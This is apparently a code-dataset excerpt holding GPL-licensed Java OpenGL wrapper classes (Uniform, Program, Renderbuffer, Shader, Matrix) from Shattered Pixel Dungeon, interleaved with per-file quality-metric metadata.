"qsc_code_frac_chars_long_word_length": 0.0, "qsc_code_frac_lines_string_concat": 0.0, "qsc_code_cate_encoded_data": 0.0, "qsc_code_frac_chars_hex_words": 0.0, "qsc_code_frac_lines_prompt_comments": 0.0, "qsc_code_frac_lines_assert": 0.0, "qsc_codejava_cate_var_zero": 1.0, "qsc_codejava_frac_lines_func_ratio": 0.23809524, "qsc_codejava_score_lines_no_logic": 0.38095238, "qsc_codejava_frac_words_no_modifier": 0.83333333, "qsc_codejava_frac_words_legal_var_name": null, "qsc_codejava_frac_words_legal_func_name": 1.0, "qsc_codejava_frac_words_legal_class_name": 1.0, "qsc_codejava_frac_lines_print": 0.0}
0
{"qsc_code_frac_chars_replacement_symbols": 0, "qsc_code_num_words": 0, "qsc_code_num_chars": 0, "qsc_code_mean_word_length": 0, "qsc_code_frac_chars_top_2grams": 0, "qsc_code_frac_chars_top_3grams": 0, "qsc_code_frac_chars_top_4grams": 0, "qsc_code_frac_chars_dupe_5grams": 0, "qsc_code_frac_chars_dupe_6grams": 0, "qsc_code_frac_chars_dupe_7grams": 0, "qsc_code_frac_chars_dupe_8grams": 0, "qsc_code_frac_chars_dupe_9grams": 0, "qsc_code_frac_chars_dupe_10grams": 0, "qsc_code_size_file_byte": 0, "qsc_code_num_lines": 0, "qsc_code_num_chars_line_max": 0, "qsc_code_num_chars_line_mean": 0, "qsc_code_frac_chars_alphabet": 0, "qsc_code_frac_chars_digital": 0, "qsc_code_frac_chars_whitespace": 0, "qsc_code_frac_chars_comments": 0, "qsc_code_cate_xml_start": 0, "qsc_code_frac_lines_dupe_lines": 0, "qsc_code_cate_autogen": 0, "qsc_code_frac_lines_long_string": 0, "qsc_code_frac_chars_string_length": 0, "qsc_code_frac_chars_long_word_length": 0, "qsc_code_cate_encoded_data": 0, "qsc_code_frac_chars_hex_words": 0, "qsc_code_frac_lines_prompt_comments": 0, "qsc_code_frac_lines_assert": 0, "qsc_codejava_cate_var_zero": 1, "qsc_codejava_frac_lines_func_ratio": 1, "qsc_codejava_score_lines_no_logic": 0, "qsc_codejava_frac_lines_print": 0}
00-Evan/shattered-pixel-dungeon-gdx
PD-classes/src/com/watabou/glwrap/Uniform.java
/* * Pixel Dungeon * Copyright (C) 2012-2015 Oleg Dolya * * Shattered Pixel Dungeon * Copyright (C) 2014-2019 Evan Debenham * * This program is free software: you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation, either version 3 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program. If not, see <http://www.gnu.org/licenses/> */ package com.watabou.glwrap; import com.badlogic.gdx.Gdx; import com.badlogic.gdx.utils.BufferUtils; import java.nio.FloatBuffer; public class Uniform { private int location; public Uniform( int location ) { this.location = location; } public int location() { return location; } public void enable() { Gdx.gl.glEnableVertexAttribArray( location ); } public void disable() { Gdx.gl.glDisableVertexAttribArray( location ); } public void value( int value ) { Gdx.gl.glUniform1i( location, value ); } public void value1f( float value ) { Gdx.gl.glUniform1f( location, value ); } public void value2f( float v1, float v2 ) { Gdx.gl.glUniform2f( location, v1, v2 ); } public void value4f( float v1, float v2, float v3, float v4 ) { Gdx.gl.glUniform4f( location, v1, v2, v3, v4 ); } public void valueM3(float[] value) { Gdx.gl.glUniformMatrix3fv(location, 1, false, value, 0); } public void valueM4(float[] value) { Gdx.gl.glUniformMatrix4fv(location, 1, false, value, 0); } }
1,813
Uniform
java
en
java
code
{"qsc_code_num_words": 250, "qsc_code_num_chars": 1813.0, "qsc_code_mean_word_length": 5.148, "qsc_code_frac_words_unique": 0.488, "qsc_code_frac_chars_top_2grams": 0.06216006, "qsc_code_frac_chars_top_3grams": 0.03108003, "qsc_code_frac_chars_top_4grams": 0.04428904, "qsc_code_frac_chars_dupe_5grams": 0.09479409, "qsc_code_frac_chars_dupe_6grams": 0.04351204, "qsc_code_frac_chars_dupe_7grams": 0.0, "qsc_code_frac_chars_dupe_8grams": 0.0, "qsc_code_frac_chars_dupe_9grams": 0.0, "qsc_code_frac_chars_dupe_10grams": 0.0, "qsc_code_frac_chars_replacement_symbols": 0.0, "qsc_code_frac_chars_digital": 0.03007519, "qsc_code_frac_chars_whitespace": 0.19305019, "qsc_code_size_file_byte": 1813.0, "qsc_code_num_lines": 72.0, "qsc_code_num_chars_line_max": 72.0, "qsc_code_num_chars_line_mean": 25.18055556, "qsc_code_frac_chars_alphabet": 0.84962406, "qsc_code_frac_chars_comments": 0.43077772, "qsc_code_cate_xml_start": 0.0, "qsc_code_frac_lines_dupe_lines": 0.0, "qsc_code_cate_autogen": 0.0, "qsc_code_frac_lines_long_string": 0.0, "qsc_code_frac_chars_string_length": 0.0, "qsc_code_frac_chars_long_word_length": 0.0, "qsc_code_frac_lines_string_concat": 0.0, "qsc_code_cate_encoded_data": 0.0, "qsc_code_frac_chars_hex_words": 0.0, "qsc_code_frac_lines_prompt_comments": 0.0, "qsc_code_frac_lines_assert": 0.0, "qsc_codejava_cate_var_zero": 0.0, "qsc_codejava_frac_lines_func_ratio": 0.24324324, "qsc_codejava_score_lines_no_logic": 0.40540541, "qsc_codejava_frac_words_no_modifier": 0.9, "qsc_codejava_frac_words_legal_var_name": 1.0, "qsc_codejava_frac_words_legal_func_name": 1.0, "qsc_codejava_frac_words_legal_class_name": 1.0, "qsc_codejava_frac_lines_print": 0.0}
0
{"qsc_code_frac_chars_replacement_symbols": 0, "qsc_code_num_words": 0, "qsc_code_num_chars": 0, "qsc_code_mean_word_length": 0, "qsc_code_frac_chars_top_2grams": 0, "qsc_code_frac_chars_top_3grams": 0, "qsc_code_frac_chars_top_4grams": 0, "qsc_code_frac_chars_dupe_5grams": 0, "qsc_code_frac_chars_dupe_6grams": 0, "qsc_code_frac_chars_dupe_7grams": 0, "qsc_code_frac_chars_dupe_8grams": 0, "qsc_code_frac_chars_dupe_9grams": 0, "qsc_code_frac_chars_dupe_10grams": 0, "qsc_code_size_file_byte": 0, "qsc_code_num_lines": 0, "qsc_code_num_chars_line_max": 0, "qsc_code_num_chars_line_mean": 0, "qsc_code_frac_chars_alphabet": 0, "qsc_code_frac_chars_digital": 0, "qsc_code_frac_chars_whitespace": 0, "qsc_code_frac_chars_comments": 0, "qsc_code_cate_xml_start": 0, "qsc_code_frac_lines_dupe_lines": 0, "qsc_code_cate_autogen": 0, "qsc_code_frac_lines_long_string": 0, "qsc_code_frac_chars_string_length": 0, "qsc_code_frac_chars_long_word_length": 0, "qsc_code_cate_encoded_data": 0, "qsc_code_frac_chars_hex_words": 0, "qsc_code_frac_lines_prompt_comments": 0, "qsc_code_frac_lines_assert": 0, "qsc_codejava_cate_var_zero": 0, "qsc_codejava_frac_lines_func_ratio": 1, "qsc_codejava_score_lines_no_logic": 0, "qsc_codejava_frac_lines_print": 0}
00-Evan/shattered-pixel-dungeon-gdx
PD-classes/src/com/watabou/glwrap/Program.java
/* * Pixel Dungeon * Copyright (C) 2012-2015 Oleg Dolya * * Shattered Pixel Dungeon * Copyright (C) 2014-2019 Evan Debenham * * This program is free software: you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation, either version 3 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program. If not, see <http://www.gnu.org/licenses/> */ package com.watabou.glwrap; import com.badlogic.gdx.Gdx; import com.badlogic.gdx.graphics.GL20; import com.badlogic.gdx.utils.BufferUtils; import java.nio.IntBuffer; public class Program { private int handle; public Program() { handle = Gdx.gl.glCreateProgram(); } public int handle() { return handle; } public void attach( Shader shader ) { Gdx.gl.glAttachShader( handle, shader.handle() ); } public void link() { Gdx.gl.glLinkProgram( handle ); IntBuffer status = BufferUtils.newIntBuffer(1); Gdx.gl.glGetProgramiv( handle, GL20.GL_LINK_STATUS, status ); if (status.get() == GL20.GL_FALSE) { throw new Error( Gdx.gl.glGetProgramInfoLog( handle ) ); } } public Attribute attribute( String name ) { return new Attribute( Gdx.gl.glGetAttribLocation( handle, name ) ); } public Uniform uniform( String name ) { return new Uniform( Gdx.gl.glGetUniformLocation( handle, name ) ); } public void use() { Gdx.gl.glUseProgram( handle ); } public void delete() { Gdx.gl.glDeleteProgram( handle ); } public static Program create( Shader ...shaders ) { Program program = new Program(); for (int i=0; i < shaders.length; i++) { program.attach( shaders[i] ); } program.link(); return program; } }
2,051
Program
java
en
java
code
{"qsc_code_num_words": 274, "qsc_code_num_chars": 2051.0, "qsc_code_mean_word_length": 5.25912409, "qsc_code_frac_words_unique": 0.47810219, "qsc_code_frac_chars_top_2grams": 0.03122831, "qsc_code_frac_chars_top_3grams": 0.02706454, "qsc_code_frac_chars_top_4grams": 0.03955586, "qsc_code_frac_chars_dupe_5grams": 0.05690493, "qsc_code_frac_chars_dupe_6grams": 0.0388619, "qsc_code_frac_chars_dupe_7grams": 0.0, "qsc_code_frac_chars_dupe_8grams": 0.0, "qsc_code_frac_chars_dupe_9grams": 0.0, "qsc_code_frac_chars_dupe_10grams": 0.0, "qsc_code_frac_chars_replacement_symbols": 0.0, "qsc_code_frac_chars_digital": 0.01506932, "qsc_code_frac_chars_whitespace": 0.19112628, "qsc_code_size_file_byte": 2051.0, "qsc_code_num_lines": 80.0, "qsc_code_num_chars_line_max": 72.0, "qsc_code_num_chars_line_mean": 25.6375, "qsc_code_frac_chars_alphabet": 0.85352622, "qsc_code_frac_chars_comments": 0.38078986, "qsc_code_cate_xml_start": 0.0, "qsc_code_frac_lines_dupe_lines": 0.0, "qsc_code_cate_autogen": 0.0, "qsc_code_frac_lines_long_string": 0.0, "qsc_code_frac_chars_string_length": 0.0, "qsc_code_frac_chars_long_word_length": 0.0, "qsc_code_frac_lines_string_concat": 0.0, "qsc_code_cate_encoded_data": 0.0, "qsc_code_frac_chars_hex_words": 0.0, "qsc_code_frac_lines_prompt_comments": 0.0, "qsc_code_frac_lines_assert": 0.0, "qsc_codejava_cate_var_zero": 0.0, "qsc_codejava_frac_lines_func_ratio": 0.17777778, "qsc_codejava_score_lines_no_logic": 0.35555556, "qsc_codejava_frac_words_no_modifier": 0.88888889, "qsc_codejava_frac_words_legal_var_name": 1.0, "qsc_codejava_frac_words_legal_func_name": 1.0, "qsc_codejava_frac_words_legal_class_name": 1.0, "qsc_codejava_frac_lines_print": 0.0}
1
{"qsc_code_frac_chars_replacement_symbols": 0, "qsc_code_num_words": 0, "qsc_code_num_chars": 0, "qsc_code_mean_word_length": 0, "qsc_code_frac_chars_top_2grams": 0, "qsc_code_frac_chars_top_3grams": 0, "qsc_code_frac_chars_top_4grams": 0, "qsc_code_frac_chars_dupe_5grams": 0, "qsc_code_frac_chars_dupe_6grams": 0, "qsc_code_frac_chars_dupe_7grams": 0, "qsc_code_frac_chars_dupe_8grams": 0, "qsc_code_frac_chars_dupe_9grams": 0, "qsc_code_frac_chars_dupe_10grams": 0, "qsc_code_size_file_byte": 0, "qsc_code_num_lines": 0, "qsc_code_num_chars_line_max": 0, "qsc_code_num_chars_line_mean": 0, "qsc_code_frac_chars_alphabet": 0, "qsc_code_frac_chars_digital": 0, "qsc_code_frac_chars_whitespace": 0, "qsc_code_frac_chars_comments": 0, "qsc_code_cate_xml_start": 0, "qsc_code_frac_lines_dupe_lines": 0, "qsc_code_cate_autogen": 0, "qsc_code_frac_lines_long_string": 0, "qsc_code_frac_chars_string_length": 0, "qsc_code_frac_chars_long_word_length": 0, "qsc_code_cate_encoded_data": 0, "qsc_code_frac_chars_hex_words": 0, "qsc_code_frac_lines_prompt_comments": 0, "qsc_code_frac_lines_assert": 0, "qsc_codejava_cate_var_zero": 0, "qsc_codejava_frac_lines_func_ratio": 0, "qsc_codejava_score_lines_no_logic": 0, "qsc_codejava_frac_lines_print": 0}
00-Evan/shattered-pixel-dungeon-gdx
PD-classes/src/com/watabou/glwrap/Renderbuffer.java
/* * Pixel Dungeon * Copyright (C) 2012-2015 Oleg Dolya * * Shattered Pixel Dungeon * Copyright (C) 2014-2019 Evan Debenham * * This program is free software: you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation, either version 3 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program. If not, see <http://www.gnu.org/licenses/> */ package com.watabou.glwrap; import com.badlogic.gdx.Gdx; import com.badlogic.gdx.graphics.GL20; import com.badlogic.gdx.utils.BufferUtils; import java.nio.IntBuffer; public class Renderbuffer { public static final int RGBA8 = GL20.GL_RGBA; // ? public static final int DEPTH16 = GL20.GL_DEPTH_COMPONENT16; public static final int STENCIL8 = GL20.GL_STENCIL_INDEX8; private int id; public Renderbuffer() { IntBuffer buf = BufferUtils.newIntBuffer(1); Gdx.gl.glGenRenderbuffers( 1, buf ); id = buf.get(); } public int id() { return id; } public void bind() { Gdx.gl.glBindRenderbuffer( GL20.GL_RENDERBUFFER, id ); } public void delete() { IntBuffer buf = BufferUtils.newIntBuffer(1); buf.put(id); Gdx.gl.glDeleteRenderbuffers( 1, buf ); } public void storage( int format, int width, int height ) { Gdx.gl.glRenderbufferStorage( GL20.GL_RENDERBUFFER, format , width, height ); } }
1,711
Renderbuffer
java
en
java
code
{"qsc_code_num_words": 242, "qsc_code_num_chars": 1711.0, "qsc_code_mean_word_length": 5.11157025, "qsc_code_frac_words_unique": 0.51652893, "qsc_code_frac_chars_top_2grams": 0.02425222, "qsc_code_frac_chars_top_3grams": 0.03152789, "qsc_code_frac_chars_top_4grams": 0.04607922, "qsc_code_frac_chars_dupe_5grams": 0.12449475, "qsc_code_frac_chars_dupe_6grams": 0.04527082, "qsc_code_frac_chars_dupe_7grams": 0.0, "qsc_code_frac_chars_dupe_8grams": 0.0, "qsc_code_frac_chars_dupe_9grams": 0.0, "qsc_code_frac_chars_dupe_10grams": 0.0, "qsc_code_frac_chars_replacement_symbols": 0.0, "qsc_code_frac_chars_digital": 0.02859185, "qsc_code_frac_chars_whitespace": 0.1823495, "qsc_code_size_file_byte": 1711.0, "qsc_code_num_lines": 61.0, "qsc_code_num_chars_line_max": 80.0, "qsc_code_num_chars_line_mean": 28.04918033, "qsc_code_frac_chars_alphabet": 0.85561115, "qsc_code_frac_chars_comments": 0.45879603, "qsc_code_cate_xml_start": 0.0, "qsc_code_frac_lines_dupe_lines": 0.06666667, "qsc_code_cate_autogen": 0.0, "qsc_code_frac_lines_long_string": 0.0, "qsc_code_frac_chars_string_length": 0.0, "qsc_code_frac_chars_long_word_length": 0.0, "qsc_code_frac_lines_string_concat": 0.0, "qsc_code_cate_encoded_data": 0.0, "qsc_code_frac_chars_hex_words": 0.0, "qsc_code_frac_lines_prompt_comments": 0.0, "qsc_code_frac_lines_assert": 0.0, "qsc_codejava_cate_var_zero": 0.0, "qsc_codejava_frac_lines_func_ratio": 0.13333333, "qsc_codejava_score_lines_no_logic": 0.36666667, "qsc_codejava_frac_words_no_modifier": 0.8, "qsc_codejava_frac_words_legal_var_name": 1.0, "qsc_codejava_frac_words_legal_func_name": 1.0, "qsc_codejava_frac_words_legal_class_name": 1.0, "qsc_codejava_frac_lines_print": 0.0}
1
{"qsc_code_frac_chars_replacement_symbols": 0, "qsc_code_num_words": 0, "qsc_code_num_chars": 0, "qsc_code_mean_word_length": 0, "qsc_code_frac_chars_top_2grams": 0, "qsc_code_frac_chars_top_3grams": 0, "qsc_code_frac_chars_top_4grams": 0, "qsc_code_frac_chars_dupe_5grams": 0, "qsc_code_frac_chars_dupe_6grams": 0, "qsc_code_frac_chars_dupe_7grams": 0, "qsc_code_frac_chars_dupe_8grams": 0, "qsc_code_frac_chars_dupe_9grams": 0, "qsc_code_frac_chars_dupe_10grams": 0, "qsc_code_size_file_byte": 0, "qsc_code_num_lines": 0, "qsc_code_num_chars_line_max": 0, "qsc_code_num_chars_line_mean": 0, "qsc_code_frac_chars_alphabet": 0, "qsc_code_frac_chars_digital": 0, "qsc_code_frac_chars_whitespace": 0, "qsc_code_frac_chars_comments": 0, "qsc_code_cate_xml_start": 0, "qsc_code_frac_lines_dupe_lines": 0, "qsc_code_cate_autogen": 0, "qsc_code_frac_lines_long_string": 0, "qsc_code_frac_chars_string_length": 0, "qsc_code_frac_chars_long_word_length": 0, "qsc_code_cate_encoded_data": 0, "qsc_code_frac_chars_hex_words": 0, "qsc_code_frac_lines_prompt_comments": 0, "qsc_code_frac_lines_assert": 0, "qsc_codejava_cate_var_zero": 0, "qsc_codejava_frac_lines_func_ratio": 0, "qsc_codejava_score_lines_no_logic": 0, "qsc_codejava_frac_lines_print": 0}
00-Evan/shattered-pixel-dungeon-gdx
PD-classes/src/com/watabou/glwrap/Shader.java
/* * Pixel Dungeon * Copyright (C) 2012-2015 Oleg Dolya * * Shattered Pixel Dungeon * Copyright (C) 2014-2019 Evan Debenham * * This program is free software: you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation, either version 3 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program. If not, see <http://www.gnu.org/licenses/> */ package com.watabou.glwrap; import com.badlogic.gdx.Gdx; import com.badlogic.gdx.graphics.GL20; import com.badlogic.gdx.utils.BufferUtils; import java.nio.IntBuffer; public class Shader { public static final int VERTEX = GL20.GL_VERTEX_SHADER; public static final int FRAGMENT = GL20.GL_FRAGMENT_SHADER; private int handle; public Shader( int type ) { handle = Gdx.gl.glCreateShader( type ); } public int handle() { return handle; } public void source( String src ) { Gdx.gl.glShaderSource( handle, src ); } public void compile() { Gdx.gl.glCompileShader( handle ); IntBuffer status = BufferUtils.newIntBuffer(1); Gdx.gl.glGetShaderiv( handle, GL20.GL_COMPILE_STATUS, status); if (status.get() == GL20.GL_FALSE) { throw new Error( Gdx.gl.glGetShaderInfoLog( handle ) ); } } public void delete() { Gdx.gl.glDeleteShader( handle ); } public static Shader createCompiled( int type, String src ) { Shader shader = new Shader( type ); shader.source( src ); shader.compile(); return shader; } }
1,835
Shader
java
en
java
code
{"qsc_code_num_words": 255, "qsc_code_num_chars": 1835.0, "qsc_code_mean_word_length": 5.15294118, "qsc_code_frac_words_unique": 0.49019608, "qsc_code_frac_chars_top_2grams": 0.02283105, "qsc_code_frac_chars_top_3grams": 0.02968037, "qsc_code_frac_chars_top_4grams": 0.043379, "qsc_code_frac_chars_dupe_5grams": 0.10197869, "qsc_code_frac_chars_dupe_6grams": 0.04261796, "qsc_code_frac_chars_dupe_7grams": 0.0, "qsc_code_frac_chars_dupe_8grams": 0.0, "qsc_code_frac_chars_dupe_9grams": 0.0, "qsc_code_frac_chars_dupe_10grams": 0.0, "qsc_code_frac_chars_replacement_symbols": 0.0, "qsc_code_frac_chars_digital": 0.01877934, "qsc_code_frac_chars_whitespace": 0.18746594, "qsc_code_size_file_byte": 1835.0, "qsc_code_num_lines": 69.0, "qsc_code_num_chars_line_max": 72.0, "qsc_code_num_chars_line_mean": 26.5942029, "qsc_code_frac_chars_alphabet": 0.86250838, "qsc_code_frac_chars_comments": 0.42561308, "qsc_code_cate_xml_start": 0.0, "qsc_code_frac_lines_dupe_lines": 0.0, "qsc_code_cate_autogen": 0.0, "qsc_code_frac_lines_long_string": 0.0, "qsc_code_frac_chars_string_length": 0.0, "qsc_code_frac_chars_long_word_length": 0.0, "qsc_code_frac_lines_string_concat": 0.0, "qsc_code_cate_encoded_data": 0.0, "qsc_code_frac_chars_hex_words": 0.0, "qsc_code_frac_lines_prompt_comments": 0.0, "qsc_code_frac_lines_assert": 0.0, "qsc_codejava_cate_var_zero": 0.0, "qsc_codejava_frac_lines_func_ratio": 0.13888889, "qsc_codejava_score_lines_no_logic": 0.36111111, "qsc_codejava_frac_words_no_modifier": 0.83333333, "qsc_codejava_frac_words_legal_var_name": 1.0, "qsc_codejava_frac_words_legal_func_name": 1.0, "qsc_codejava_frac_words_legal_class_name": 1.0, "qsc_codejava_frac_lines_print": 0.0}
1
{"qsc_code_frac_chars_replacement_symbols": 0, "qsc_code_num_words": 0, "qsc_code_num_chars": 0, "qsc_code_mean_word_length": 0, "qsc_code_frac_chars_top_2grams": 0, "qsc_code_frac_chars_top_3grams": 0, "qsc_code_frac_chars_top_4grams": 0, "qsc_code_frac_chars_dupe_5grams": 0, "qsc_code_frac_chars_dupe_6grams": 0, "qsc_code_frac_chars_dupe_7grams": 0, "qsc_code_frac_chars_dupe_8grams": 0, "qsc_code_frac_chars_dupe_9grams": 0, "qsc_code_frac_chars_dupe_10grams": 0, "qsc_code_size_file_byte": 0, "qsc_code_num_lines": 0, "qsc_code_num_chars_line_max": 0, "qsc_code_num_chars_line_mean": 0, "qsc_code_frac_chars_alphabet": 0, "qsc_code_frac_chars_digital": 0, "qsc_code_frac_chars_whitespace": 0, "qsc_code_frac_chars_comments": 0, "qsc_code_cate_xml_start": 0, "qsc_code_frac_lines_dupe_lines": 0, "qsc_code_cate_autogen": 0, "qsc_code_frac_lines_long_string": 0, "qsc_code_frac_chars_string_length": 0, "qsc_code_frac_chars_long_word_length": 0, "qsc_code_cate_encoded_data": 0, "qsc_code_frac_chars_hex_words": 0, "qsc_code_frac_lines_prompt_comments": 0, "qsc_code_frac_lines_assert": 0, "qsc_codejava_cate_var_zero": 0, "qsc_codejava_frac_lines_func_ratio": 0, "qsc_codejava_score_lines_no_logic": 0, "qsc_codejava_frac_lines_print": 0}
00-Evan/shattered-pixel-dungeon-gdx
PD-classes/src/com/watabou/glwrap/Matrix.java
/* * Pixel Dungeon * Copyright (C) 2012-2015 Oleg Dolya * * Shattered Pixel Dungeon * Copyright (C) 2014-2019 Evan Debenham * * This program is free software: you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation, either version 3 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program. If not, see <http://www.gnu.org/licenses/> */ package com.watabou.glwrap; public class Matrix { public static final float G2RAD = 0.01745329251994329576923690768489f; public static float[] clone( float[] m ) { int n = m.length; float[] res = new float[n]; do { res[--n] = m[n]; } while (n > 0); return res; } public static void copy( float[] src, float[] dst ) { int n = src.length; do { dst[--n] = src[n]; } while (n > 0); } private static float[] identity = new float[]{ 1, 0, 0, 0, 0, 1, 0, 0, 0, 0, 1, 0, 0, 0, 0, 1 }; public static void setIdentity( float[] m ) { System.arraycopy(identity, 0, m, 0, identity.length); } public static void rotate( float[] m, float a ) { a *= G2RAD; float sin = (float)Math.sin( a ); float cos = (float)Math.cos( a ); float m0 = m[0]; float m1 = m[1]; float m4 = m[4]; float m5 = m[5]; m[0] = m0 * cos + m4 * sin; m[1] = m1 * cos + m5 * sin; m[4] = -m0 * sin + m4 * cos; m[5] = -m1 * sin + m5 * cos; } public static void skewX( float[] m, float a ) { double t = Math.tan( a * G2RAD ); m[4] += -m[0] * t; m[5] += -m[1] * t; } public static void skewY( float[] m, float a ) { double t = Math.tan( a * G2RAD ); m[0] += m[4] * t; m[1] += m[5] * t; } public static void scale( float[] m, float x, float y ) { m[0] *= x; m[1] *= x; m[2] *= x; m[3] *= x; m[4] *= y; m[5] *= y; m[6] *= y; m[7] *= y; // android.opengl.Matrix.scaleM( m, 0, x, y, 1 ); } public static void translate( float[] m, float x, float y ) { m[12] += m[0] * x + m[4] * y; m[13] += m[1] * x + m[5] * y; } public static void multiply(float[] left, float right[], float[] result) { final float ax1 = left[0]; final float ay1 = left[1]; final float az1 = left[2]; final float aw1 = left[3]; final float ax2 = left[4]; final float ay2 = left[5]; final float az2 = left[6]; final float aw2 = left[7]; final float ax3 = left[8]; final float ay3 = left[9]; final float az3 = left[10]; final float aw3 = left[11]; final float ax4 = left[12]; final float ay4 = left[13]; final float az4 = left[14]; final float aw4 = left[15]; final float bx1 = right[0]; final float by1 = right[1]; final float bz1 = right[2]; final float bw1 = right[3]; final float bx2 = right[4]; final float by2 = right[5]; final float bz2 = right[6]; final float bw2 = right[7]; final float bx3 = right[8]; final float by3 = right[9]; final float bz3 = right[10]; final float bw3 = right[11]; final float bx4 = right[12]; final float by4 = right[13]; final float bz4 = right[14]; final float bw4 = right[15]; result[0] = ax1 * bx1 + ax2 * by1 + ax3 * bz1 + ax4 * bw1; result[1] = ay1 * bx1 + ay2 * by1 + ay3 * bz1 + ay4 * bw1; result[2] = az1 * bx1 + az2 * by1 + az3 * bz1 + az4 * bw1; result[3] = aw1 * bx1 + aw2 * by1 + aw3 * bz1 + aw4 * bw1; result[4] = ax1 * bx2 + ax2 * by2 + ax3 * bz2 + ax4 * bw2; result[5] = ay1 * bx2 + ay2 * by2 + ay3 * bz2 + ay4 * bw2; result[6] = az1 * bx2 + az2 * by2 + az3 * bz2 + az4 * bw2; result[7] = aw1 * bx2 + aw2 * by2 + aw3 * bz2 + aw4 * bw2; result[8] = ax1 * bx3 + ax2 * by3 + ax3 * bz3 + ax4 * bw3; result[9] = ay1 * bx3 + ay2 * by3 + ay3 * bz3 + ay4 * bw3; result[10] = az1 * bx3 + az2 * by3 + az3 * bz3 + az4 * bw3; result[11] = aw1 * bx3 + aw2 * by3 + aw3 * bz3 + aw4 * bw3; result[12] = ax1 * bx4 + ax2 * by4 + ax3 * bz4 + ax4 * bw4; result[13] = ay1 * bx4 + ay2 * by4 + ay3 * bz4 + ay4 * bw4; result[14] = az1 * bx4 + az2 * by4 + az3 * bz4 + az4 * bw4; result[15] = aw1 * bx4 + aw2 * by4 + aw3 * bz4 + aw4 * bw4; } }
4,410
Matrix
java
en
java
code
{"qsc_code_num_words": 725, "qsc_code_num_chars": 4410.0, "qsc_code_mean_word_length": 3.52, "qsc_code_frac_words_unique": 0.24551724, "qsc_code_frac_chars_top_2grams": 0.12931034, "qsc_code_frac_chars_top_3grams": 0.05015674, "qsc_code_frac_chars_top_4grams": 0.02233542, "qsc_code_frac_chars_dupe_5grams": 0.0830721, "qsc_code_frac_chars_dupe_6grams": 0.06896552, "qsc_code_frac_chars_dupe_7grams": 0.04702194, "qsc_code_frac_chars_dupe_8grams": 0.03213166, "qsc_code_frac_chars_dupe_9grams": 0.03213166, "qsc_code_frac_chars_dupe_10grams": 0.03213166, "qsc_code_frac_chars_replacement_symbols": 0.0, "qsc_code_frac_chars_digital": 0.10665845, "qsc_code_frac_chars_whitespace": 0.26439909, "qsc_code_size_file_byte": 4410.0, "qsc_code_num_lines": 163.0, "qsc_code_num_chars_line_max": 76.0, "qsc_code_num_chars_line_mean": 27.05521472, "qsc_code_frac_chars_alphabet": 0.68002466, "qsc_code_frac_chars_comments": 0.18820862, "qsc_code_cate_xml_start": 0.0, "qsc_code_frac_lines_dupe_lines": 0.05263158, "qsc_code_cate_autogen": 0.0, "qsc_code_frac_lines_long_string": 0.0, "qsc_code_frac_chars_string_length": 0.0, "qsc_code_frac_chars_long_word_length": 0.0, "qsc_code_frac_lines_string_concat": 0.0, "qsc_code_cate_encoded_data": 0.0, "qsc_code_frac_chars_hex_words": 0.0, "qsc_code_frac_lines_prompt_comments": 0.0, "qsc_code_frac_lines_assert": 0.0, "qsc_codejava_cate_var_zero": 0.0, "qsc_codejava_frac_lines_func_ratio": 0.07017544, "qsc_codejava_score_lines_no_logic": 0.0877193, "qsc_codejava_frac_words_no_modifier": 0.88888889, "qsc_codejava_frac_words_legal_var_name": 1.0, "qsc_codejava_frac_words_legal_func_name": 1.0, "qsc_codejava_frac_words_legal_class_name": 1.0, "qsc_codejava_frac_lines_print": 0.0}
1
{"qsc_code_frac_chars_replacement_symbols": 0, "qsc_code_num_words": 0, "qsc_code_num_chars": 0, "qsc_code_mean_word_length": 0, "qsc_code_frac_chars_top_2grams": 0, "qsc_code_frac_chars_top_3grams": 0, "qsc_code_frac_chars_top_4grams": 0, "qsc_code_frac_chars_dupe_5grams": 0, "qsc_code_frac_chars_dupe_6grams": 0, "qsc_code_frac_chars_dupe_7grams": 0, "qsc_code_frac_chars_dupe_8grams": 0, "qsc_code_frac_chars_dupe_9grams": 0, "qsc_code_frac_chars_dupe_10grams": 0, "qsc_code_size_file_byte": 0, "qsc_code_num_lines": 0, "qsc_code_num_chars_line_max": 0, "qsc_code_num_chars_line_mean": 0, "qsc_code_frac_chars_alphabet": 0, "qsc_code_frac_chars_digital": 0, "qsc_code_frac_chars_whitespace": 0, "qsc_code_frac_chars_comments": 0, "qsc_code_cate_xml_start": 0, "qsc_code_frac_lines_dupe_lines": 0, "qsc_code_cate_autogen": 0, "qsc_code_frac_lines_long_string": 0, "qsc_code_frac_chars_string_length": 0, "qsc_code_frac_chars_long_word_length": 0, "qsc_code_cate_encoded_data": 0, "qsc_code_frac_chars_hex_words": 0, "qsc_code_frac_lines_prompt_comments": 0, "qsc_code_frac_lines_assert": 0, "qsc_codejava_cate_var_zero": 0, "qsc_codejava_frac_lines_func_ratio": 0, "qsc_codejava_score_lines_no_logic": 0, "qsc_codejava_frac_lines_print": 0}
00-Evan/shattered-pixel-dungeon-gdx
PD-classes/src/com/watabou/glwrap/Framebuffer.java
